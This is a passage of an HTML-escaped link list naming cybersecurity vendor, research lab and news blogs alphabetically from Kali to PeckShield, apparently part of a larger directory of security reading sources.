  &lt;li&gt;&lt;a href=&quot;https://www.kali.org/blog/&quot;&gt;Kali&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.kandji.io&quot;&gt;Kandji&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://karma-x.io/blog/&quot;&gt;Karma-X&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kaspersky.co.uk/blog/&quot;&gt;Kaspersky Daily&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://keenlab.tencent.com/en/&quot;&gt;Keen Security Lab Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.keepersecurity.com/blog/&quot;&gt;Keeper&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ke-la.com/blog/&quot;&gt;KELA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kerbit.io/#research&quot;&gt;KERBIT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.keysight.com/blogs/en/&quot;&gt;Keysight&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kinneygroup.com/blog/&quot;&gt;Kinney Group&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.klogixsecurity.com/blog&quot;&gt;Klogix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kloudle.com/blog&quot;&gt;Kloudle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.knostic.ai/blog&quot;&gt;Knostic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.koi.security/blog&quot;&gt;Koi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.koombea.com/blog/&quot;&gt;koombea&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.korelogic.com/blog&quot;&gt;KoreLogic Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kosli.com/blog/&quot;&gt;kosli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kovrr.com/resources/blog&quot;&gt;Kovrr&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kpwn.de&quot;&gt;kpwn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kravensecurity.com/blog/&quot;&gt;Kraven Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kroll.com/en/insights/publications/cyber&quot;&gt;Kroll&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kryptera.se&quot;&gt;kryptera.se&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kryptoslogic.com/blog/&quot;&gt;Kryptos Logic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ksoc.com/blog&quot;&gt;KSOC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.esat.kuleuven.be/cosic/cosic-cryptography-blog/&quot;&gt;Ku Leuven | COSIC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://research.kudelskisecurity.com&quot;&gt;Kudelski Security Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.kyntra.io&quot;&gt;Kyntra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lab52.io/blog/&quot;&gt;Lab52&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lab539.com/blog&quot;&gt;Lab539&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lacework.com/blog/&quot;&gt;Lacework&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lares.com/resources/blog/&quot;&gt;Lares&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lasso.security/blog&quot;&gt;Lasso&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://latacora.micro.blog&quot;&gt;Latacora&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pulse.latio.tech&quot;&gt;Latio Pulse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lawfaremedia.org/topics/cybersecurity-tech&quot;&gt;Lawfare&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://layerxsecurity.com/blog/&quot;&gt;LayerX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lcisec.com/blog&quot;&gt;LCI Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.leaksignal.com&quot;&gt;Leak Signal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.legitsecurity.com/blog&quot;&gt;Legit Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://letsdefend.io/blog/&quot;&gt;LetsDefend Blue Team Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecurity.att.com/blogs/labs-research&quot;&gt;LevelBlue&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.leviathansecurity.com&quot;&gt;Leviathan Security Group&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.lexfo.fr&quot;&gt;LEXFO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lifars.com/blog/&quot;&gt;LIFARS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.lightspin.io&quot;&gt;Lightspin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://limacharlie.io/blog&quot;&gt;Lima Charlie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lmgsecurity.com/blog/&quot;&gt;LMG Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lmntrix.com/blog/&quot;&gt;LMNTRIX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://logicaltrust.net/blog.html&quot;&gt;LogicalTrust&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.logpoint.com/en/blog/&quot;&gt;Logpoint&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.longterm.io/#resources&quot;&gt;Longterm Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://loworbitsecurity.com&quot;&gt;Low Orbit Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lunasec.io/docs/blog/&quot;&gt;LunaSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lupovis.io/blog/&quot;&gt;Lupovis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.luresec.com/blog/&quot;&gt;LureSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lutasecurity.com/blog&quot;&gt;Luta Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lutrasecurity.com/en/articles/&quot;&gt;lutra security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lve-project.org/blog/&quot;&gt;LVE Repository&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lyrebirds.dk/en/news&quot;&gt;Lyrebirds&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://macrosec.tech/index.php/blog/&quot;&gt;macrosec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.magiclasso.co/insights/&quot;&gt;Magic Lasso&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.magnetforensics.com/resource-center/blogs&quot;&gt;Magnet Forensics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.magonia.io&quot;&gt;Magonia Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maikroservice.com&quot;&gt;maikroservice&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malcat.fr/archives.html&quot;&gt;Malcat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malcrove.com/category/red-teaming/&quot;&gt;Malcrove&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.maltego.com/blog/&quot;&gt;Maltego&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malwaretips.com/blogs/&quot;&gt;Malware Tips&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.malwarebytes.com&quot;&gt;Malwarebytes Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malwology.wordpress.com&quot;&gt;Malwology&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mandconsulting.ca/blog/&quot;&gt;Mand Consulting Group&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mandiant.com/resources/blog&quot;&gt;Mandiant&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.manifold.security/blog&quot;&gt;Manifold&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.manrs.org/news/&quot;&gt;MANRS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mantodeasecurity.de/en/blog/&quot;&gt;Mantodea&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mantrainfosec.com/blog/&quot;&gt;Mantra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://margin.re/blog/&quot;&gt;Margin Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.marisec.ca&quot;&gt;Marisec Intelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://read.martiandefense.llc&quot;&gt;Martian Defense Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://material.security/blog&quot;&gt;Material&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mattermost.com&quot;&gt;Mattermost&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://matrix.org/blog/posts&quot;&gt;matrix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mcafee.com/blogs/&quot;&gt;McAfee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mdsec.co.uk/knowledge-centre/research/&quot;&gt;MDSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://techblog.mediaservice.net&quot;&gt;mediaservice.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.medigate.io/blog/&quot;&gt;Medigate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mend.io/blog/&quot;&gt;Mend.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.menlosecurity.com/blog/&quot;&gt;Menlo Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://engineering.mercari.com/en/blog/category/security/&quot;&gt;Mercari Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rtx.meta.security&quot;&gt;Meta Red Team X&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.metabaseq.com/resources/#blog-cat&quot;&gt;Metabase&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.metactf.com&quot;&gt;MetaCTF blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://metalbear.co/blog/&quot;&gt;MetalBear&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.metlo.com/blog&quot;&gt;Metlo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/security/blog/&quot;&gt;Microsoft Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.midnightblue.nl/knowledge?type=Blog&quot;&gt;Midnight Blue&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.miggo.io/resources&quot;&gt;Miggo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mimecast.com/blog/&quot;&gt;Mimecast&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mindedsecurity.com&quot;&gt;Minded Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.minerva-labs.com&quot;&gt;Minerva&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mint-secure.de/blog/&quot;&gt;Mint Secure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mithrilsecurity.io&quot;&gt;Mithril Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mitiga.io/blog&quot;&gt;Mitiga&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mixmode.ai/blog/&quot;&gt;MixMode&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mnemonic.io/resources/blog/&quot;&gt;mnemonic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.msreverseengineering.com/blog&quot;&gt;Mobius Strip Reverse Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://modernciso.com&quot;&gt;ModernCISO&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.modzero.com/modlog/index.html&quot;&gt;modzero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mogwailabs.de/en/blog/&quot;&gt;Mogwai Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mojoauth.com/blog/&quot;&gt;MojoAuth&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mondoo.com&quot;&gt;Mondoo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://moonlock.com/blog&quot;&gt;moonlock&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.morphisec.com&quot;&gt;Morphisec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mosse-security.com/blog.html&quot;&gt;Mossé Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hacks.mozilla.org&quot;&gt;moz://a Hacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mozilla.org&quot;&gt;Mozilla&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mrg-effitas.com/research/&quot;&gt;MRG Effitas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mullvad.net/en/blog/&quot;&gt;Mullvad&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://multilogin.com/blog/&quot;&gt;MultiLogin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mysudo.com/blog/&quot;&gt;MySudo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://n45ht.or.id/blog&quot;&gt;N45HT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ncsc.gov.uk&quot;&gt;National Cyber Security Centre&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityandtechnology.org/blog/&quot;&gt;The NATSPECS Blog | IST Institute for Security + Technology&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://research.nccgroup.com&quot;&gt;nccgroup&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://neodyme.io/blog/&quot;&gt;Neodyme&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://notes.netbytesec.com&quot;&gt;NETBYTESEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://netenrich.com/blog&quot;&gt;NetEnrich&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://netflixtechblog.com&quot;&gt;The Netflix Tech Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.netlab.360.com&quot;&gt;Netlab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://netragard.com/publications/&quot;&gt;Netragard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netresec.com/?page=Blog&quot;&gt;NETRESEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netscout.com/blog&quot;&gt;NETSCOUT&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.netscout.com/asert#blog&quot;&gt;ASERT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netsecfocus.com&quot;&gt;NetSec Focus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netsparker.com/blog/&quot;&gt;Netsparker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netspi.com/blog/technical/&quot;&gt;NETSPI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.nettitude.com&quot;&gt;Nettitude Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://neuraltrust.ai/blog&quot;&gt;NeuralTrust&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://niiconsulting.com/checkmate/&quot;&gt;Network Intelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nextlabs.com/blog/&quot;&gt;NextLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nextron-systems.com/blog/&quot;&gt;Nextron Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nightfall.ai/blog&quot;&gt;Nightfall&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ninjalab.io/research/&quot;&gt;NinjaLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.nintechnet.com&quot;&gt;NinTechNet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nitrokey.com/blog&quot;&gt;Nitrokey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zeifan.my&quot;&gt;NLab Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.nlnetlabs.nl&quot;&gt;NLnet Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://noc.org/articles/&quot;&gt;noc.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://noma.security/blog/&quot;&gt;Noma&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nonamesecurity.com/blog&quot;&gt;noname&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.noq.dev/blog&quot;&gt;Noq&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://northwave-security.com/news/&quot;&gt;Northwave&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.notamonadtutorial.com&quot;&gt;Not a Monad Tutorial&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nowsecure.com/blog/&quot;&gt;NowSecure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nozominetworks.com/blog/&quot;&gt;Nozomi Networks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nsfocusglobal.com/blog/&quot;&gt;NSFOCUS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://numberlinesecurity.com/blog-feed/&quot;&gt;Numberline Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.numencyber.com/resources/blog/&quot;&gt;Numen Cyber Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.numorian.com&quot;&gt;Numorian&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.nvidia.com/blog/category/cybersecurity/&quot;&gt;Nvidia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nxt1.cloud/blog/&quot;&gt;NXT1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nzyme.org/blog&quot;&gt;Nzyme&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.oasis.security/blog&quot;&gt;Oasis Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://objective-see.com/blog.html&quot;&gt;Objective-See&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://obviate.io&quot;&gt;Obviate.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://occamsec.com/resources/&quot;&gt;OccamSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://octagon.net/blog/&quot;&gt;Octagon Networks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://offensi.com/2019/&quot;&gt;OFFENSI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offensity.com/en/blog/&quot;&gt;Offensity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offensive-security.com/blog/&quot;&gt;Offensive Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.okiok.com/recent-post/&quot;&gt;OKIOK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sec.okta.com/articles&quot;&gt;Okta Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.oligo.security/resources/blog&quot;&gt;Oligo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://onapsis.com/blog&quot;&gt;Onapsis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://onekey.com/research/&quot;&gt;ONEKEY&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.openraven.com/blog&quot;&gt;Open Raven&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.openappsec.io/blogs&quot;&gt;open-appsec by Check Point&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogs.opera.com/security/&quot;&gt;Opera&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ophionsecurity.com/blog&quot;&gt;Ophion Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opsecx.com/index.php/category/blog/&quot;&gt;OPSECX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.optiv.com&quot;&gt;Optiv&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sensepost.com/blog/2020/&quot;&gt;Orange Cyberdefense&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://orca.security/resources/blog/&quot;&gt;orca security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oruggtnet.is/blogs/&quot;&gt;Öruggt Net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.osint-jobs.com/blog/career-osint-jobs&quot;&gt;OSINT Jobs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tidbit.theosintion.com&quot;&gt;The OSINTion Tidbit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.osohq.com/developers/blog&quot;&gt;Oso&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.osr.com/developers-blog/#&quot;&gt;OSR&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ostif.org/news/&quot;&gt;OSTIF&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ostorlab.co&quot;&gt;Ostorlab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://osec.io&quot;&gt;OtterSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.otto-js.com/news/&quot;&gt;otto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://outcomesecurity.com/insights/&quot;&gt;Outcome Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://outflank.nl/blog/&quot;&gt;Outflank&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://outpost24.com/blog&quot;&gt;Outpost24&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.oversecured.com&quot;&gt;Oversecured&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.overtoperator.com&quot;&gt;Overt Operator&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.oxeye.io/blog&quot;&gt;Oxeye&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://academic.oup.com/cybersecurity/&quot;&gt;Oxford Academic | Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://p0.dev/blog&quot;&gt;P0 Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.p1sec.com&quot;&gt;P1 Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://palisade.consulting/blog&quot;&gt;Palisade&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://unit42.paloaltonetworks.com&quot;&gt;Palo Alto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pandasecurity.com/en/mediacenter/news/&quot;&gt;Panda&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pangulab.cn/en/&quot;&gt;Pangu Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.panoptica.app/resources?tabname=research&quot;&gt;panoptica&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.runpanther.io&quot;&gt;panther&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.paradigm.xyz/writing/&quot;&gt;Paradigm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paragonie.com/blog&quot;&gt;Paragon Initiative&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paralus.co&quot;&gt;Paralus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.yahooinc.com/technology/paranoids-blog&quot;&gt;Paranoids Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paraxial.io/blog/index&quot;&gt;Paraxial.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://patchstack.com/articles/&quot;&gt;Patchstack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://patrowl.io/blog/&quot;&gt;Patrowl&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://payatu.com/blog&quot;&gt;Payatu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.peckshield.com&quot;&gt;PeckShield&lt;/a&gt;&lt;/li&gt;
